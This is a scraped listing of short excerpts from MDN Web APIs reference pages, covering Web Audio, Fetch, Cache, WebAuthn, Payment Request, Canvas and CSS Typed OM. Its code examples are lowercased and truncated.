... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5 - 1; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth; } }; draw(); specifications specification status comment web audio apithe definition o...
Animation.finished - Web APIs
every time the animation leaves the finished play state (that is, when it starts playing again), a new promise is created for this property.
... the new promise will resolve once the new animation sequence has completed.
AnimationPlaybackEvent.AnimationPlaybackEvent() - Web APIs
the animationplaybackevent() constructor of the web animations api returns a new animationplaybackevent object instance.
... syntax var animationplaybackevent = new animationplaybackevent(type, eventinitdict); parameters type a domstring representing the name of the event.
AudioBuffer.copyFromChannel() - Web APIs
example this example creates a new audio buffer, then copies the samples from another channel into it.
... var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var anotherarray = new float32array(length); myarraybuffer.copyfromchannel(anotherarray, 1, 0); specification specification status comment web audio apithe definition of 'copyfromchannel' in that specification.
AudioBuffer - Web APIs
constructor audiobuffer() creates and returns a new audiobuffer object instance.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create an empty three-second stereo buffer at the sample rate of the audiocontext var myarraybuffer = audioctx.createbuffer(2, audioctx.samplerate * 3, audioctx.samplerate); // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < myarraybuffer.numberofchannels; channel++) { // this...
AudioContext.close() - Web APIs
closed contexts cannot have new nodes created, but can decode audio data, create buffers, etc.
... syntax var audioctx = new audiocontext(); audioctx.close().then(function() { ...
AudioContext.createJavaScriptNode() - Web APIs
example the following script illustrates the use of createjavascriptnode(): var sinewave = function(context) { var that = this; this.x = 0; // initial sample number this.context = context; this.node = context.createjavascriptnode(1024, 1, 1); this.node.onaudioprocess = function(e) { that.process(e) }; } sinewave.prototype.process = function(e) { var data = e.outputbuffer.getchanneldata(0); for (var i = 0; i < data.length; ++i) { data[i] = math.sin(this.x++); }...
... } sinewave.prototype.play = function() { this.node.connect(this.context.destination); } sinewave.prototype.pause = function() { this.node.disconnect(); } see also generating tones with the web audio api exploring the html5 web audio: visualizing sound ...
AudioContext.getOutputTimestamp() - Web APIs
the getoutputtimestamp() property of the audiocontext interface returns a new audiotimestamp object containing two audio timestamp values relating to the current audio context.
... play.addeventlistener('click', () => { if(!audioctx) { audioctx = new window.audiocontext(); } getdata(); source.start(0); play.setattribute('disabled', 'disabled'); raf = requestanimationframe(outputtimestamps); }); stop.addeventlistener('click', () => { source.stop(0); play.removeattribute('disabled'); cancelanimationframe(raf); }); // function to output timestamps function outputtimestamps() { let ts = audioctx.getoutputtimestamp() conso...
AudioContextOptions - Web APIs
the audiocontextoptions dictionary is used to specify configuration options when constructing a new audiocontext object to represent a graph of web audio nodes.
... let musiccontext = new audiocontext({ latencyhint: "playback", samplerate: 48000 }); specifications specification status comment web audio apithe definition of 'audiocontextoptions' in that specification.
AudioDestinationNode.maxChannelCount - Web APIs
syntax var audioctx = new audiocontext(); var mydestination = audioctx.destination; mydestination.maxchannelcount = 2; value an unsigned long.
... example the following would set up a simple audio graph, featuring an audiodestinationnode with maxchannelcount of 2: var audioctx = new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); source.connect(gainnode); audioctx.destination.maxchannelcount = 2; gainnode.connect(audioctx.destination); to see a more complete implementation, check out one of our mdn web audio examples, such as voice-change-o-matic or violent theremin.
AudioNode.channelInterpretation - Web APIs
the specification explicitly allows the future definition of new speaker layouts.
... example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelinterpretation = 'discrete'; specifications specification status comment web audio apithe definition of 'channelinterpretation' in that specification.
AudioNode.connect() - Web APIs
WebAPIAudioNodeconnect
var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); audioparam example in this example, we will be altering the gain value of a gainnode using an oscillatornode with a slow frequency value.
... var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // create an normal oscillator to make sound var oscillator = audioctx.createoscillator(); // create a second oscillator that will be used as an lfo (low-frequency // oscillator), and will control a parameter var lfo = audioctx.createoscillator(); // set the frequency of the second oscillator to a low number lfo.frequency.value = 2.0; // 2hz: two oscillations par second // create a gain whose gain audioparam will be controlled by the lfo var gain = audioctx.creategain(); // connect the lfo to the gain audioparam.
AudioParam.exponentialRampToValueAtTime() - Web APIs
the change starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
...this is pretty useful for fade in/fade out effects: // create audio context var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // set basic variables for example var myaudio = document.queryselector('audio'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; var exprampplus = document.queryselector('.exp-ramp-plus'); var exprampminus = document.queryselector('.exp-ramp-minus'); // create a mediaelementaudiosourcenode // feed t...
AudioParam.linearRampToValueAtTime() - Web APIs
the change starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
... // create audio context var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // set basic variables for example var myaudio = document.queryselector('audio'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; var linearrampplus = document.queryselector('.linear-ramp-plus'); var linearrampminus = document.queryselector('.linear-ramp-minus'); // create a mediaelementaudiosourceno...
AudioParam.setValueAtTime() - Web APIs
the new value is given in the value parameter.
...when the buttons are pressed, the currgain variable is incremented/decremented by 0.25, then the setvalueattime() method is used to set the gain value equal to currgain, one second from now (audioctx.currenttime + 1.) // create audio context var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // set basic variables for example var myaudio = document.queryselector('audio'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; var targetattimeplus = document.queryselector('.set-target-at-time-plus'); var targetattimeminus = document.queryselector('.set-target-at-time-minus'); // create a mediael...
AudioParam.setValueCurveAtTime() - Web APIs
examples in this example, we have a media source with a single button (see the webaudio-examples repo for the source code, or view the example live.) when this button is pressed, setvaluecurveattime() is used to change the gain value between the values contained in the wavearray array: // create audio context var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // set basic variables for example var myaudio = document.queryselector('audio'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; var valuecurve = document.queryselector('.value-curve'); // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelem...
...entsource(myaudio); // create a gain node and set it's gain value to 0.5 var gainnode = audioctx.creategain(); gainnode.gain.value = 0.5; var currgain = gainnode.gain.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination source.connect(gainnode); gainnode.connect(audioctx.destination); // set button to do something onclick var wavearray = new float32array(9); wavearray[0] = 0.5; wavearray[1] = 1; wavearray[2] = 0.5; wavearray[3] = 0; wavearray[4] = 0.5; wavearray[5] = 1; wavearray[6] = 0.5; wavearray[7] = 0; wavearray[8] = 0.5; valuecurve.onclick = function() { gainnode.gain.setvaluecurveattime(wavearray, audioctx.currenttime, 2); } specifications specification status comment web audio apithe definition of 'setva...
AudioWorkletGlobalScope.registerProcessor - Web APIs
a new processor by the given name is internally created and associated with the new node.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const node = new audioworkletnode(audiocontext, 'test-processor') node.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'registerprocessor()' in that specification.
AudioWorkletNode - Web APIs
constructor audioworkletnode() creates a new instance of an audioworkletnode object.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletnode' in that specification.
AudioWorkletProcessor.process - Web APIs
in other words, every time a new block of audio is ready for your processor to manipulate, your process() function is invoked to do so.
... returning true forces the web audio api to keep the node alive, while returning false allows the browser to terminate the node if it is neither generating new audio data nor receiving data through its inputs that it is processing.
AudioWorkletProcessor - Web APIs
audioworkletprocessor() creates a new instance of an audioworkletprocessor object.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletprocessor' in that specification.
AuthenticatorResponse.clientDataJSON - Web APIs
properties after the clientdatajson object is converted from an arraybuffer to a javascript object, it will have the following properties: type a string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a new credential is created.
... examples function arraybuffertostr(buf) { return string.fromcharcode.apply(null, new uint8array(buf)); } // pk is a publickeycredential that is the result of a create() or get() promise var clientdatastr = arraybuffertostr(pk.clientdatajson); var clientdataobj = json.parse(clientdatastr); console.log(clientdataobj.type); // "webauthn.create" or "webauthn.get" console.log(clientdataobj.challenge); // base64 encoded string containing the original challenge console.log(client...
AuthenticatorResponse - Web APIs
examples getting an authenticatorassertionresponse var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); getting an authenticatorat...
...testationresponse var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorresponse interface' in that specification.
BaseAudioContext.createAnalyser() - Web APIs
var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); ...
... analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { ...
BaseAudioContext.createBufferSource() - Web APIs
the createbuffersource() method of the baseaudiocontext interface is used to create a new audiobuffersourcenode, which can be used to play audio data contained within an audiobuffer object.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var button = document.queryselector('button'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarray...
BaseAudioContext.createConvolver() - Web APIs
var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var convolver = audioctx.createconvolver(); ...
... // grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with decoding audio data" + e.err}); } ajaxrequest.send(); ...
BaseAudioContext.createWaveShaper() - Web APIs
var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ...
...amount : 50, n_samples = 44100, curve = new float32array(n_samples), deg = math.pi / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( math.pi + k * math.abs(x) ); } return curve; }; ...
BaseAudioContext - Web APIs
baseaudiocontext.createbiquadfilter() creates a biquadfilternode, which represents a second order filter configurable as several different common filter types: high-pass, low-pass, band-pass, etc baseaudiocontext.createbuffer() creates a new, empty audiobuffer object, which can then be populated by data and played via an audiobuffersourcenode.
... examples basic audio context declaration: const audiocontext = new audiocontext(); cross browser variant: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audiocontext = new audiocontext(); const oscillatornode = audiocontext.createoscillator(); const gainnode = audiocontext.creategain(); const finish = audiocontext.destination; specifications specification status comment web audio apithe definition of 'b...
BasicCardRequest - Web APIs
those are: amex cartebancaire diners discover jcb mastercard mir unionpay visa examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object that describes what data is needed to fullfil the payment (e.g., a shipping address).
...n', amount: {currency: 'usd', value: '65.00'}}, displayitems: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
BasicCardResponse - Web APIs
examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object containing further options.
...n', amount: {currency: 'usd', value: '65.00'}}, displayitems: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
BiquadFilterNode.Q - Web APIs
syntax var audioctx = new audiocontext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.q.value = 100; note: though the audioparam returned is read-only, the value it represents is not.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.conn...
BiquadFilterNode.detune - Web APIs
syntax var audioctx = new audiocontext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.detune.value = 100; note: though the audioparam returned is read-only, the value it represents is not.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolv...
BiquadFilterNode.frequency - Web APIs
syntax var audioctx = new audiocontext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.frequency.value = 3000; note: though the audioparam returned is read-only, the value it represents is not.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.conn...
BiquadFilterNode.gain - Web APIs
syntax var audioctx = new audiocontext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.gain.value = 25; note: though the audioparam returned is read-only, the value it represents is not.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.conn...
BiquadFilterNode.type - Web APIs
syntax var audioctx = new audiocontext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = 'lowpass'; value a string (enum) representing a biquadfiltertype.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastre...
BiquadFilterNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor biquadfilternode() creates a new instance of a biquadfilternode object.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastre...
BlobBuilder - Web APIs
note: the blobbuilder interface has been deprecated in favor of the newly introduced blob constructor.
...this also resets the blobbuilder so that the next call to append() is starting a new, empty blob.
BlobEvent.BlobEvent() - Web APIs
the blobevent() constructor returns a newly created blobevent object with an associated blob.
... syntax blobevent = new blobevent({data: aspecificblob}[, timecode]); arguments the blobevent() constructor also inherits arguments from event().
Body.blob() - Web APIs
WebAPIBodyblob
example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'blob()' in that specification.
Body.body - Web APIs
WebAPIBodybody
const image = document.getelementbyid('target'); // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => response.body) .then(body => { const reader = body.getreader(); return new readablestream({ start(controller) { return pump(); function pump() { return reader.read().then(({ done, value }) => { // when no more data needs to be consumed, close the stream if (done) { controller.close(); return; } // enqueue the next data chunk into our target stream controller.enqueue(value...
...); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobjecturl(blob)) .then(url => console.log(image.src = url)) .catch(err => console.error(err)); specifications specification status comment fetchthe definition of 'body' in that specification.
Body.json() - Web APIs
WebAPIBodyjson
example in our fetch json example (run fetch json live), we create a new request using the request() constructor, then use it to fetch a .json file.
... const mylist = document.queryselector('ul'); const myrequest = new request('products.json'); fetch(myrequest) .then(response => response.json()) .then(data => { for (const product of data.products) { let listitem = document.createelement('li'); listitem.appendchild( document.createelement('strong') ).textcontent = product.name; listitem.append( ` can be found in ${ product.location }.
Body.text() - Web APIs
WebAPIBodytext
when getdata() is run, we create a new request using the request() constructor, then use it to fetch a specific .txt file.
... let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++) { mylinks[i].onclick = function(e) { e.preventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment fetchthe definition of 'text()' in that specification.
BroadcastChannel: message event - Web APIs
adcast-message" type="button">broadcast message</button> body { border: 1px solid black; padding: .5rem; height: 150px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } textarea { padding: .2rem; } label, br { margin: .5rem 0; } button { vertical-align: top; height: 1.5rem; } const channel = new broadcastchannel('example-channel'); const messagecontrol = document.queryselector('#message'); const broadcastmessagebutton = document.queryselector('#broadcast-message'); broadcastmessagebutton.addeventlistener('click', () => { channel.postmessage(messagecontrol.value); }) receiver 1 <h1>receiver 1</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; ...
... height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); receiver 2 <h1>receiver 2</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); result specifications specification status html living standard living standard...
BudgetService.getBudget() - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
BudgetService.getCost() - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
BudgetService.reserve() - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
BudgetService - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
BudgetState.budgetAt - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
BudgetState.time - Web APIs
WebAPIBudgetStatetime
not for use in new websites.deprecated.
... not for use in new websites.
BudgetState - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
ByteLengthQueuingStrategy.ByteLengthQueuingStrategy() - Web APIs
syntax var bytelengthqueuingstrategy = new bytelengthqueuingstrategy({highwatermark}); parameters {highwatermark} an object containing a highwatermark property.
... examples const queuingstrategy = new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream = new readablestream({ start(controller) { ...
ByteLengthQueuingStrategy - Web APIs
constructor bytelengthqueuingstrategy() creates a new bytelengthqueuingstrategy object instance.
... examples const queueingstrategy = new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream = new readablestream({ start(controller) { ...
CSSKeywordValue - Web APIs
constructor csskeywordvalue.csskeywordvalue() creates a new csskeywordvalue object.
... #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', new csskeywordvalue('initial')); console.log( myelement.get('display').value); // 'initial' specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
CSSMathSum.CSSMathSum() - Web APIs
the cssmathsum() constructor creates a new cssmathsum object which creates a new csskeywordvalue object which represents the result obtained by calling add(), sub(), or tosum() on cssnumericvalue.
... syntax var cssmathsum = new cssmathsum() parameters values one or more double integers or cssnumericvalue objects.
CSSPositionValue - Web APIs
constructor csspositionvalue.csspositionvalue() creates a new csspositionvalue object.
... let replacedel = document.getelementbyid( 'image' ); let position = new csspositionvalue( css.px(35), css.px(40) ); replacedel.attributestylemap.set( 'object-position', position ); console.log( position.x.value, position.y.value ); console.log( replacedel.computedstylemap().get('object-position') ); we set the object-position property, then check the values returned.
CSSStyleSheet.addRule() - Web APIs
the obsolete cssstylesheet interface's addrule() legacy method adds a new rule to the stylesheet.
... index optional an optional index into the stylesheet's cssrulelist at which to insert the new rule.
CSSUnitValue - Web APIs
constructor cssstylevalue.cssunitvalue() creates a new cssunitvalue object.
... let pos = new csspositionvalue( new cssunitvalue(5, "px"), new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification.
CSSUnparsedValue.keys() - Web APIs
the cssunparsedvalue.keys() method returns a new array iterator object that contains the keys for each index in the array.
... return value a new array.
CSSUnparsedValue.values() - Web APIs
the cssunparsedvalue.values() method returns a new array iterator object that contains the values for each index in the cssunparsedvalue object.
... return value a new array.
CSSVariableReferenceValue() - Web APIs
creates a new cssvariablereferencevalue.
... syntax new cssvariablereferencevalue(variable[, fallback]]) parameters variable a custom property name.
Using the CSS Painting API - Web APIs
(admittedly, ctx.linewidth takes a float as a value rather than a value with length units, but for example's sake...) paint(ctx, size, props, args) { const strokewidth = args[1]; if (strokewidth.unit === 'px') { ctx.linewidth = strokewidth.value; } else { ctx.linewidth = 1.0; } ...
...the highlight & dimensions const x = 0; const y = size.height * 0.3; const blockwidth = size.width * 0.33; const blockheight = size.height * 0.85; // the values passed in the paint() function in the css const colour = props.get( '--boxcolor' ); const stroketype = args[0].tostring(); const strokewidth = parseint(args[1]); // set the stroke width if ( strokewidth ) { ctx.linewidth = strokewidth; } else { ctx.linewidth = 1.0; } // set the fill type if ( stroketype === 'stroke' ) { ctx.fillstyle = 'transparent'; ctx.strokestyle = colour; } else if ( stroketype === 'filled' ) { ctx.fillstyle = colour; ctx.strokestyle = colour; } else { ctx.fillstyle = 'none'; ctx.strokestyle = 'none'; } // block ctx.beginpath(); ctx.moveto( x, y )...
Cache.add() - Web APIs
WebAPICacheadd
the add() method is functionally equivalent to the following: fetch(url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(url, response); }) for more complex operations, you'll need to use cache.put() directly.
...this consists of calling cachestorage.open to create a new cache, then using cache.add to add an asset to it.
Cache - Web APIs
WebAPICache
so matching a new key requires looking at both key and value for entries in the cache.
... var expectedcachenamesset = new set(object.values(current_caches)); event.waituntil( caches.keys().then(function(cachenames) { return promise.all( cachenames.map(function(cachename) { if (!expectedcachenamesset.has(cachename)) { // if this cache name isn't present in the set of "expected" cache names, then delete it.
CacheStorage.open() - Web APIs
WebAPICacheStorageopen
note: if the specified cache does not exist, a new cache is created with that cachename and a promise that resolves to this new cache object is returned.
...this consists of calling cachestorage.open() to create a new cache, then using cache.addall() to add a series of assets to it.
CacheStorage - Web APIs
cachestorage.open() returns a promise that resolves to the cache object matching the cachename (a new cache is created if it doesn't already exist.) cachestorage.delete() finds the cache object matching the cachename, and if found, deletes the cache object and returns a promise that resolves to true.
...this consists of calling cachestorage.open to create a new cache, then using cache.addall to add a series of assets to it.
CanvasPattern.setTransform() - Web APIs
html <canvas id="canvas"></canvas> <svg id="svg1"></svg> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var svg1 = document.getelementbyid('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions started to support dommatrix as an input to settransform(), so for example you could...
... replace the svgmatrix in the above example with the following: const matrix = new dommatrix([1, .2, .8, 1, 0, 0]); edit the code below and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></svg> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code" style="height:120px"> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, ...
CanvasRenderingContext2D.addHitRegion() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); canvas.addeventlistener('mousemove', function(event) { if(event.region) { alert('ouch, my eye :('); } }); ctx.beginpath(); ctx.arc(100, 100, 75, 0, 2 * math.pi); ctx.linewidth = 5; ctx.stroke(); // eyes ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi); ctx.arc(130, 80, 10, 0, 2 * math.pi); ctx.fill(); ctx.addhitregion({id: "eyes"}); // mouth ctx.beginpath(); ctx.arc(100, 110, 50, 0, math.pi); ctx.stroke(); edit the code below to see your changes update live in the canvas.
... need to activate a preference.) playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code" style="height:250px"> ctx.beginpath(); ctx.arc(100, 100, 75, 0, 2 * math.pi, false); ctx.linewidth = 5; ctx.stroke(); // eyes ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi, false); ctx.arc(130, 80, 10, 0, 2 * math.pi, false); ctx.fill(); ctx.addhitregion({id: "eyes"}); // mouth ctx.beginpath(); ctx.arc(100, 110, 50, 0, math.pi, false); ctx.stroke();</textarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); var textarea = document.getelementbyid...
CanvasRenderingContext2D.lineCap - Web APIs
